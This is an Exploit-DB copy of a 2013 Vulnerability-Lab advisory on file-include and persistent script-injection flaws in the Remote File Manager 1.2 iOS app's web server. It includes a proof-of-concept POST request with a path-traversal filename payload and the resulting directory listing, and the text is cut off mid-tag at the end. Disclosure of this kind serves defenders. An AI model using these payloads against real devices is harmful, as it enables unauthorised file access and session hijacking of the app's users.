Exploit-DB #24603
Description: Remote File Manager 1.2 iOS - Multiple Vulnerabilities
Type: webapps
Platform: ios
Date: 2013-03-06
Author: Vulnerability-Lab

Exploit:
Title:
======
Remote File Manager v1.2 iOS - Multiple Web Vulnerabilities


Date:
=====
2013-02-23


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=882


VL-ID:
=====
882


Common Vulnerability Scoring System:
====================================
6.1


Introduction:
=============
Catch documents from PC or Mac via USB cable or WIFI, email attachments, Dropbox and FTP and save it on your iPhone, iPod Touch or iPad locally. 

File transfer
- Use iTunes file sharing to transfer files directly to your device via USB cable and WIFI.
- Access, view documents and upload from/to Google and Dropbox
- Download and upload document via FTP
- Sync your documents using iCloud

File Manager Features:
- Built-in viewer supports PDF, MS Office (Word, Excel and Powerpoint) & Apple iWork (Keynote, Pages and Numbers) files, HTML, RTF, TXT, PNG, JPG, GIF
- Zip and unzip files
- Create folders and sub folders
- Move files from one folder to another
- Send your files to / Open your files in other apps, e.g. pages, numbers, etc.
- Save files from emails using the open in feature
- TV / VGA out
- Print documents from Document Manager on iOS 4.2 or later
- Email files to Your Colleagues or Friends directly from File Manager App.
- Transfer files to iPhone, iPod or iPad
- Zoom PDFs and other documents

File Manger supports PDF, MS Office, iWorks and the most common file types. The new iCloud module and sync is also enabled and an very 
useful ability for the applicaiton.

(Copy of the Vendor Homepage:  https://itunes.apple.com/us/app/file-manager/id550412070 )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a file include web vulnerability in the mobile Remote File Manager v1.2 app for the apple ipad & iphone.


Report-Timeline:
================
2013-02-20:	Public Disclosure


Status:
========
Published


Affected Products:
==================
Apple
Product: Remote File Manager 1.2


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
1.1
A local file include web vulnerability via POST request method is detected in the mobile Remote File Manager v1.2 app for the apple ipad & iphone.
The vulnerability allows remote attackers via POST method to inject local app webserver folders to request unauthorized local webserver files.

The vulnerbility is located in the upload file module of the webserver (http://192.168.0.10:63114/) when processing to request a manipulated 
filename via POST. The execution of the vulnerable values as filename will occur when the attacker is processing to watch the file dir listing 
in the main index site.

Exploitation of the vulnerability requires no user interaction and can be done without privileged application user account (no password standard).
Successful exploitation of the vulnerability results in unauthorized path or file access via local file or path include attack.

Vulnerable Application(s):
				[+] Remote File Manager v1.2 - ITunes or AppStore (Apple)

Vulnerable Module(s):
				[+] File Upload  (Web Server) [Remote]

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] File - Index Dir Listing



1.2
A persistent input validation vulnerability is detected in the mobile Remote File Manager v1.2 app for the apple ipad & iphone.
The bug allows an attacker (remote) to implement/inject malicious script code on the application side (persistent) of the app web service. 

The vulnerability is located in the index file dir listing module of the webserver (http://192.168.0.10:63114/) when processing to display
injected and via POST request method manipulated filenames. The persistent script code will be executed out of the main index file dir 
listing module when the service is processing to list the new malicious injected filename as item.

Exploitation of the persistent web vulnerability requires low or medium user interaction without privileged application user account.
Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent web 
attacks, persistent phishing or stable (persistent) certificate mail notification context manipulation.

Vulnerable Application(s):
				[+] Remote File Manager v1.2 - ITunes or AppStore (Apple)

Vulnerable Module(s):
				[+] File Upload  (Web Server) [Remote]

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Filename - Index File Dir Listing


Proof of Concept:
=================
1.1
The file include web vulnerability can be exploited by remote attackers without application user account and also without user interaction.
For demonstration or reproduce ...


POSTDATA =----------------------------[PII_REDACTED]27809
Content-Disposition: form-data; name="file"; filename="[../../>[UNAUTHORIZED LOCAL FILE/PATH INCLUDE VULNERABILITY]].png"
Content-Type: image/png
����


Review: Index File Dir Listing - Filename

<div id="bodyspace"><div id="main_menu"><h1>File Manager</h1></div><div id="main_left">
<img src="http://www.iusbdisk.com/images/wifilogo2.png" alt="" title="" border="0"><ul class="menu"><li class="item-101 current active">
<a href="http://filemanager.ezypages.com.au/" target="_blank">Hilfe</a></li><li class="item-110">
<a href="http://filemanager.ezypages.com.au/index.php/feedback-support" target="_blank">Kontakt / Feedback</a></li></ul></div>
<div id="module_main"><bq>Files</bq><p><a href="..">..</a><br>
<a href="1234.png.txt.iso.php.asp">1234.png.txt.iso.php.asp</a>		(    95.8 Kb, 2013-02-11 07:41:12 +0000)<br>
<a href="[../../>[UNAUTHORIZED LOCAL FILE/PATH INCLUDE VULNERABILITY]]">[../../>[UNAUTHORIZED LOCAL FILE/PATH INCLUDE VULNERABILITY]]</a>
(    27.3 Kb, 2013-02-11 07:45:01 +0000)<br />
<a href="About/">About/</a>		(     0.1 Kb, 2012-10-10 18:20:14 +0000)<br />
</p><form actio